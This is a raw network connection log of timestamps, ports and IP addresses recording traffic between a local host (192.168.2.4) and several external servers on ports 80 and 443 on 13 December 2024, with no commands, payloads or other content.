Dec 13, 2024 01:51:47.403661013 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.405560970 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.405607939 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.405656099 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.405734062 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.407608986 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.407655954 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.407727003 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.407768965 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.409682989 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.409730911 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.409806013 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.409852028 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.411787987 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.411842108 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.411901951 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.412065983 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.413877964 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.413923979 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.413981915 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.414124966 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.416130066 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.416166067 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.416178942 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.416205883 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.418020964 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.418067932 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.418143034 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.418190002 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.420121908 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.420253992 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.420265913 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.420423985 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.422210932 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.422270060 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.422331095 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.422379017 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.424314976 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.424464941 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.424500942 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.424519062 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.426451921 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.426503897 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.426506042 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.426542997 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.428446054 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.428488970 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.428565025 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.428662062 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.430552959 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.430670977 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.430684090 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.430736065 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.432622910 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.432751894 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.432795048 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.434712887 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.434763908 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.434809923 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.436836004 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.436886072 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.436908007 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.436949015 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.438875914 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.438922882 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.438994884 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.439037085 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.440992117 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.441034079 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.441114902 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.441159010 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.443093061 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.443126917 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.443139076 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.443161964 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.445471048 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.445518017 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.445519924 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.445559025 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.447293997 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.447343111 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.447370052 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.448770046 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.449311018 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.449361086 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.449440002 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.449481010 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.451381922 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.451430082 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.451505899 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.451545954 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.453479052 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.453521967 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.453582048 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.453619957 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.455566883 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.455665112 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.455708027 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.457688093 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.457732916 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.457770109 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.458271980 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.459736109 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.459896088 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.459938049 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.461826086 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.461909056 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.461937904 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.462024927 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.543179989 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.543229103 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.543234110 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.543418884 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.543548107 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.543584108 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.543658972 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.543775082 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.545187950 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.545232058 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.545346022 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.545391083 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.546777010 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.546869993 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.546905994 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.546947002 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.548392057 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.548543930 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.548546076 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.548624039 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.550004959 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.550050020 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.550102949 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.550143957 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.551553011 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.551625967 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.551640987 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.551661968 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.553098917 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.553139925 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.553200960 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.553244114 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.554661036 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.554721117 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.554776907 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.554862022 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.556221962 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.556272030 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.556279898 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.556309938 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.557677984 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.557720900 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.557781935 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.557822943 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.559144974 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.559276104 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.559284925 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.559318066 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.560645103 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.560687065 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.560714006 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.560770035 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.562117100 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.562159061 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.562217951 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.562282085 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.563558102 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.563600063 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.563658953 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.563889027 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.565023899 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.565069914 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.565133095 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.565171957 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.566472054 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.566515923 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.566531897 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.566589117 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.567842007 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.567934990 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.567969084 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.568243980 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.569276094 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.569319010 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.569392920 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.569453955 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.570674896 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.570718050 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.570790052 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.570843935 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.572149038 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.572247028 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.572297096 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.573503971 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.573551893 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.573642969 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.573704958 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.574860096 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.574913979 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.574970961 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.575015068 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.576261997 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.576337099 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.576385021 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.576427937 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.577511072 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.577558041 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.577634096 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.578885078 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.578936100 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.578938007 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.579021931 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.580207109 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.580255032 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.580312014 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.580427885 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.581542969 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.581664085 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.581712008 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.582865953 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.582916021 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.582988977 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.583071947 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.584157944 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.584213018 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.584283113 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.584330082 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.585500002 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.585546970 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.585623980 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.585670948 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.586839914 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.586885929 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.586931944 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.588110924 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.588202953 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.588207960 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.588430882 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.589412928 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.589461088 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.589514017 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:47.589551926 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:47.681807041 CET	443	49862	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:47.681874037 CET	443	49862	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:47.682157040 CET	49862	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:47.682157040 CET	49862	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:47.936914921 CET	443	49863	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:47.937138081 CET	49863	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:47.948019981 CET	49863	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:47.948061943 CET	443	49863	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:47.948437929 CET	443	49863	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:47.984285116 CET	49862	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:47.984303951 CET	443	49862	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:47.999913931 CET	49863	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:48.004973888 CET	49863	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:48.005009890 CET	49863	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:48.005281925 CET	443	49863	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:48.123903036 CET	49869	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:48.123950958 CET	443	49869	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:48.124037027 CET	49869	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:48.124363899 CET	49869	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:48.124378920 CET	443	49869	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:48.530639887 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:48.650921106 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:48.671432018 CET	443	49863	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:48.671662092 CET	443	49863	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:48.671787024 CET	49863	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:48.671866894 CET	49863	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:48.671883106 CET	443	49863	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:48.671900034 CET	49863	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:48.671906948 CET	443	49863	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:48.779527903 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:48.779577971 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:48.779656887 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:48.780492067 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:48.780513048 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:48.883857012 CET	49871	443	192.168.2.4	149.154.167.99
Dec 13, 2024 01:51:48.883903027 CET	443	49871	149.154.167.99	192.168.2.4
Dec 13, 2024 01:51:48.884006977 CET	49871	443	192.168.2.4	149.154.167.99
Dec 13, 2024 01:51:48.900880098 CET	49871	443	192.168.2.4	149.154.167.99
Dec 13, 2024 01:51:48.900916100 CET	443	49871	149.154.167.99	192.168.2.4
Dec 13, 2024 01:51:49.022542000 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:49.022650957 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:49.339446068 CET	443	49869	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:49.339513063 CET	49869	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:49.342034101 CET	49869	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:49.342042923 CET	443	49869	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:49.342408895 CET	443	49869	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:49.343528032 CET	49869	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:49.343940020 CET	49869	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:49.343974113 CET	443	49869	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:49.839339018 CET	49855	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:49.839509010 CET	49874	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:49.959568977 CET	80	49874	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:49.959793091 CET	80	49855	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:49.959904909 CET	49855	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:49.960722923 CET	49874	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:49.967513084 CET	49874	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:49.999977112 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.000070095 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:50.030554056 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:50.030575037 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.030883074 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.033452034 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:50.033452034 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:50.033605099 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.087407112 CET	80	49874	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:50.261110067 CET	443	49869	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:50.261217117 CET	443	49869	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:50.261290073 CET	49869	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:50.261379004 CET	49869	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:50.261399984 CET	443	49869	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:50.275007010 CET	443	49871	149.154.167.99	192.168.2.4
Dec 13, 2024 01:51:50.275219917 CET	49871	443	192.168.2.4	149.154.167.99
Dec 13, 2024 01:51:50.317317009 CET	49871	443	192.168.2.4	149.154.167.99
Dec 13, 2024 01:51:50.317394972 CET	443	49871	149.154.167.99	192.168.2.4
Dec 13, 2024 01:51:50.317718029 CET	443	49871	149.154.167.99	192.168.2.4
Dec 13, 2024 01:51:50.317785025 CET	49871	443	192.168.2.4	149.154.167.99
Dec 13, 2024 01:51:50.319503069 CET	49871	443	192.168.2.4	149.154.167.99
Dec 13, 2024 01:51:50.363327980 CET	443	49871	149.154.167.99	192.168.2.4
Dec 13, 2024 01:51:50.533318996 CET	49878	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:50.533370018 CET	443	49878	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:50.533447981 CET	49878	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:50.533761978 CET	49878	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:50.533780098 CET	443	49878	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:50.768511057 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.768569946 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.768615961 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.768657923 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.768683910 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:50.768714905 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.768765926 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.768786907 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:50.768795967 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.768815994 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:50.779685974 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.779915094 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:50.779923916 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.788077116 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.788216114 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:50.788230896 CET	443	49870	104.21.79.7	192.168.2.4
